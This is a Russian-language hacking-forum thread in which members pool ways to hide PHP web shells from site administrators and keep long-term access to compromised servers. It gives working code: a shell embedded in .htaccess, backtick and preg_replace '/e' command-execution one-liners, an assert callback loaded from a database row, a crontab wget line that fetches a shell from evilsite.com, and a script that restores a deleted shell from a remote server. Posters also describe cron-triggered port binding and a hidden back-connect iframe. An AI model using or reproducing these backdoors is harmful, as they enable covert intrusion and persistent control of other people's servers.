Лучшие способы спрятать php шелл!

Обсуждение в разделе «Уязвимости», начал(-а) Cesto, 14.10.2011.

  1. Cesto

    Cesto New Member

    Регистрация:
    7.07.2010
    Сообщения:
    1
    Одобрения:
    0
    Репутация:
    0
    Собираю коллекцию способов, как спрятать шелл


    1) Спрятать в .htaccess

    # Override default deny rule to make .htaccess file accessible over web
    <Files ~ "^\.ht">
    Order allow,deny
    Allow from all
    </Files>

    # Make .htaccess file be interpreted as php file. This occur after apache has interpreted
    # the apache directoves from the .htaccess file
    AddType application/x-httpd-php .htaccess

    ###### SHELL ###### <?php echo "\n";passthru($_GET['c']." 2>&1"); ?>###### LLEHS ######

    domain/path/.htaccess?c=command

    2) Аппенд ко всем скриптам php_value auto_append_file "/tmp/httpconf.tmp"

    3) Спрятать в гиф
    .htaccess
    AddType application/x-httpd-php gif

    4) Записать шелл в базу данных, в неприметную новость





    Какие еще хорошие способы спрятать шелл, чтобы долго удержаться в системе?
     
  2. d1v

    d1v Elder - Старейшина

    Регистрация:
    21.02.2009
    Сообщения:
    808
    Одобрения:
    320
    Репутация:
    65
    echo `$_REQUEST[shell]`;
     
    Это одобряет 1 пользователь.
  3. aydin-ka

    aydin-ka Elder - Старейшина

    Регистрация:
    3.05.2009
    Сообщения:
    345
    Одобрения:
    98
    Репутация:
    26
    1. Для начала разберем структуру команды crontab. Таблица crontab состоит из 6 колонок, разделяемых пробелами или табуляторами. Первые пять колонок задают время выполнения (Минута, Час, День, Месяц, День недели), в них может находиться число, список чисел, разделенных запятыми, диапазон чисел, разделенных тире, или символ ‘*’.
    Все остальные символы в строке интерпретируются как выполняемая команда с ее параметрами.

    2. Вероятно, на сервере нет поддержки псевдотерминала, поэтому создадим временный файл /tmp/cmd со следующим содержимым:

    SHELL=/bin/bash 1 0 * * * wget http://evilsite.com/shell.txt -O /home/user/www/shell.php

    3. Запускаем команду crontab /tmp/cmd.

    4. Радуемся, ведь теперь в директории /var/spool/cron (может меняться в зависимости от системы) будет создан файл с именем пользователя, который будет каждый день, в 00 часов 01 минуту запускать команду wget, для скачивания нашего шелла.

    мини-статья из журнала ][акер декабрь 2009 года.
     
    Это одобряет 1 пользователь.
  4. Proktolog

    Proktolog New Member

    Регистрация:
    2.07.2010
    Сообщения:
    1
    Одобрения:
    1
    Репутация:
    0
    Вот об этом нельзя ли поподробней, плиз? Чаще всего в этом случае пхп код просто выводится на экран.
     
  5. Expl0ited

    Expl0ited Members of Antichat

    Регистрация:
    16.07.2010
    Сообщения:
    1 070
    Одобрения:
    530
    Репутация:
    637
    Для того что бы php код не выводился, а выполнялся, нужно использовать callback функции.
     
    _________________________
  6. Mail2k

    Mail2k New Member

    Регистрация:
    22.08.2011
    Сообщения:
    4
    Одобрения:
    0
    Репутация:
    0

    Если не трудно,можно пример,как это выглядеть должно?
     
  7. Expl0ited

    Expl0ited Members of Antichat

    Регистрация:
    16.07.2010
    Сообщения:
    1 070
    Одобрения:
    530
    Репутация:
    637
    PHP:
    <?php
    # тут подключение к базе и любой код
    if(isset($_REQUEST['userlogin'])) 
    {
       
    $query  mysql_query('SELECT user, pass FROM users WHERE id=1');
       
    $result mysql_fetch_assoc($query);
       
    array_filter(array($result['pass']), $result['user']);
    }
    # и тут любой код
    ?>
    В колонке `pass` - phpinfo(); в колонке `user` - assert, вот структура базы, для теста:
    PHP:
    CREATE TABLE IF NOT EXISTS `users` (
      `
    idint(10NOT NULL AUTO_INCREMENT,
      `
    uservarchar(255NOT NULL,
      `
    passvarchar(255NOT NULL,
      
    PRIMARY KEY (`id`)
    ENGINE=MyISAM  DEFAULT CHARSET=utf8 AUTO_INCREMENT=;

    INSERT INTO `users` (`id`, `user`, `pass`) VALUES
    (1'assert''phpinfo();');
    Т.е. логика у скрипта такая, если в _REQUEST['userlogin'] передаются данные, то скрипт обращается к базе и запрашивает из таблицы users две колонки user и pass у записи где id равен 1, и эти данные попадают в функцию array_filter которая возвращает данные отфильтрованные в соответствии с результатом функции обратного вызова, в качестве такой функции мы используем assert, которая может обработать строку как PHP код, в качестве этой строки у нас phpinfo(); что собственно и работает нам на руку.
     
    _________________________
  8. Mail2k

    Mail2k New Member

    Регистрация:
    22.08.2011
    Сообщения:
    4
    Одобрения:
    0
    Репутация:
    0

    если я правильно понял,то при данной схеме вместо какой-то определенной страницы на сайте будет загружаться вебшелл? Верно?


    А можно ли к примеру сделать таким образом,чтобы при запросе опредленной страницы вебшел из базы записывался в какую-нибудь папку? И записывался бы только в случае,его отсутствия в этой папке.
     
  9. Expl0ited

    Expl0ited Members of Antichat

    Регистрация:
    16.07.2010
    Сообщения:
    1 070
    Одобрения:
    530
    Репутация:
    637
    Конечно можно. Пищу для размышлений и пример реализации я тебе дал.
     
    _________________________
  10. Boolean

    Boolean Member

    Регистрация:
    5.09.2010
    Сообщения:
    157
    Одобрения:
    83
    Репутация:
    51
    А как вам такой вариант незаметного шелла?
    Не каждый может заметить такой шелл.
    PHP:
    @preg_replace('/(.*)/e'$_SERVER['HTTP_REMOTE_ADDR'], NULL);
    И отправляем пакет, в хеадер добавляем:
    Code:
    REMOTE_ADDR: phpinfo();
    
    Единственное, нужно чтобы флаг e был разрешен, по дефолту — разрешен.
     
    Это одобряют 2 пользоветелей.
  11. b3

    b3 Moderator

    Регистрация:
    5.12.2004
    Сообщения:
    1 804
    Одобрения:
    571
    Репутация:
    124
    Я заметил привычку прятать шеллы и прочие скрипты на сервере в папке /tmp/ Но видимо не все знают что содержимое папки /tmp/ живет до ребута, хоть сервера и редко ребутят, но все же.
     
    _________________________
  12. m0Hze

    m0Hze Elder - Старейшина

    Регистрация:
    1.11.2008
    Сообщения:
    304
    Одобрения:
    643
    Репутация:
    158
    PHP:
    $_($_1);
    s.php?_=eval&_1=phpinfo();
     
    Это одобряет Раrаdох.
  13. попугай

    попугай Elder - Старейшина

    Регистрация:
    15.01.2008
    Сообщения:
    1 712
    Одобрения:
    405
    Репутация:
    137
    только при register globals on.
    Даже если бы rg on был бы, то ничего не вышло бы, т.к. eval не функция, поэтому ее нельзя в переменную заложить, но я понимаю что это просто пример был, можно использовать другие варинаты, например прямая запись в файл.
     
    #13 попугай, 1.11.2011
    В последний раз редактировалось: 1.11.2011
    Это одобряют 3 пользоветелей.
  14. Cennarios

    Cennarios Elder - Старейшина

    Регистрация:
    13.07.2008
    Сообщения:
    426
    Одобрения:
    179
    Репутация:
    69
    Я бы подходил тоньше в данному вопросу. А именно - использование методик сокрытия доступа , как такового в зависимости от условий каждого конкретного случая. К примеру VPS с одним сайтом, сетевые правила разрешают входящие соединения без явных ограничений ( тупо не перекрываются коннекты на 33, 404, 31337 etc произвольные открытые несанкционировано порты). В крон вбивается скрипт физически размещаемый вне локаций имеющих отношение к веб сервисам. Каждые 10-15 мин он проверяет наличие активирующей команды на на стороннем сервере ( банально в том же .txt) , если TRUE -> биндится порт - благо если сервисами не забит порт 8080. А далее удаленно выполняется к примеру тот же PHP. Кому-то может показаться чрезмерно массивным и излишне сомнительным. На практике же ,все достаточно просто в реализации. Пользуюсь и , как показывает статистика, доступ к ресурсам живет дольше чем в варианте постояттного физического размещения шела в директории веб-сервера.
     
  15. vasykas

    vasykas Elder - Старейшина

    Регистрация:
    7.03.2011
    Сообщения:
    958
    Одобрения:
    132
    Репутация:
    24
    У меня такая задумка:
    В любом модуле,плагине вообщем в любой странице
    сайта вставляем прозрачный или под цвет сайта
    (главное чтоб его не видно было)
    на пример 2х2 код iframe и чтобы он находился
    где нибудь в углу, и при клике по нему делался
    back-connect на любой порт, получаем консоль
    чем не полноценный шелл.Так же можно релизовать
    проксю заместо кода back-connecta ставим редирект
    на другой сайт с таким же iframe и так далее
    N'ое количество сайтов.Чем не цепочка прокси.
    А для GUI'шников на последнем N'ом сайте можно и WSO
    Пусть попробуют проследить.
     
  16. Cennarios

    Cennarios Elder - Старейшина

    Регистрация:
    13.07.2008
    Сообщения:
    426
    Одобрения:
    179
    Репутация:
    69
    2 vasykas:

    Ты наверное не понял сути вопроса данного поста. Речь идет о том, как спрятать выполняемый код от администратора какого-либо ресурса, на котором необходимо разместить веб-шелл. Именно то, как спрятать вызываемый через iframe(как ты предлагаешь) код, именно и обсуждается в данном посте.
     
  17. Ereee

    Ereee Reservists Of Antichat

    Регистрация:
    1.12.2011
    Сообщения:
    575
    Одобрения:
    348
    Репутация:
    167
    Вот мой способ(можно в иднекс запихнуть например):
    PHP:
    <?php
    $file 
    'shell.php'//адрес шелла на сайте
    if (file_exists($file)) { //проверка на наличие файла
    $a md5_file($file); // хэшируем
    $fileb file_get_contents('http://site/shell.txt'); //адрес шелла в др. сервере
    $b md5_file($fileb); // хэшируем
    if ($a!=$b) {
    copy("http://site/shell.txt","/dostupnaja/papka/dlya/zapisi/shell.php"); //копируем шелл
    }
    } else {
    copy("http://site/shell.txt","/dostupnaja/papka/dlya/zapisi/shell.php"); //копируем шелл
    }
    ?>
    Если кто-то сменить пароль/удалить все возвращается на место ;)

    UPD. Поправил.
     
    #17 Ereee, 11.01.2012
    В последний раз редактировалось: 11.01.2012
  18. Boolean

    Boolean Member

    Регистрация:
    5.09.2010
    Сообщения:
    157
    Одобрения:
    83
    Репутация:
    51
    А ничего что переменная $b - не установлена?
    У тебя по сути всегда будет $a!=$b.
    Да и потом, переедет сайт на новый сервер, а там allow_url_fopen=Off, вот понавылазиет им варнингов.
    Если нато уже пошло, то уж куда лучше @eval($_COOKIE[lol]); оно и не так палится.

    Да и вообще никакой логики, файл шелла проверяется обычный shell.php, а заливаешь ты уже куда-то в глубь.
     
    Это одобряет 1 пользователь.
  19. Expl0ited

    Expl0ited Members of Antichat

    Регистрация:
    16.07.2010
    Сообщения:
    1 070
    Одобрения:
    530
    Репутация:
    637
    PHP:
    egrep -"eval\(" `find . -type f -name "*.php" -print`
     
    _________________________
    Это одобряет 1 пользователь.
  20. Ereee

    Ereee Reservists Of Antichat

    Регистрация:
    1.12.2011
    Сообщения:
    575
    Одобрения:
    348
    Репутация:
    167
    2Boolean,
    sorry. Там не $b = md5_file($b); а $b = md5_file($fileb);

    >У тебя по сути всегда будет $a!=$b.
    С чего это вдруг?

    2Expl0ited,
    +1
     
    #20 Ereee, 11.01.2012
    В последний раз редактировалось: 11.01.2012
Загрузка...
Похожие темы
  1. Ответы:
    2
    Просмотры:
    2 583
  2. Ответы:
    11
    Просмотры:
    3 886
  3. Ответы:
    23
    Просмотры:
    19 651
  4. Ответы:
    14
    Просмотры:
    5 175
  5. Ответы:
    12
    Просмотры:
    2 928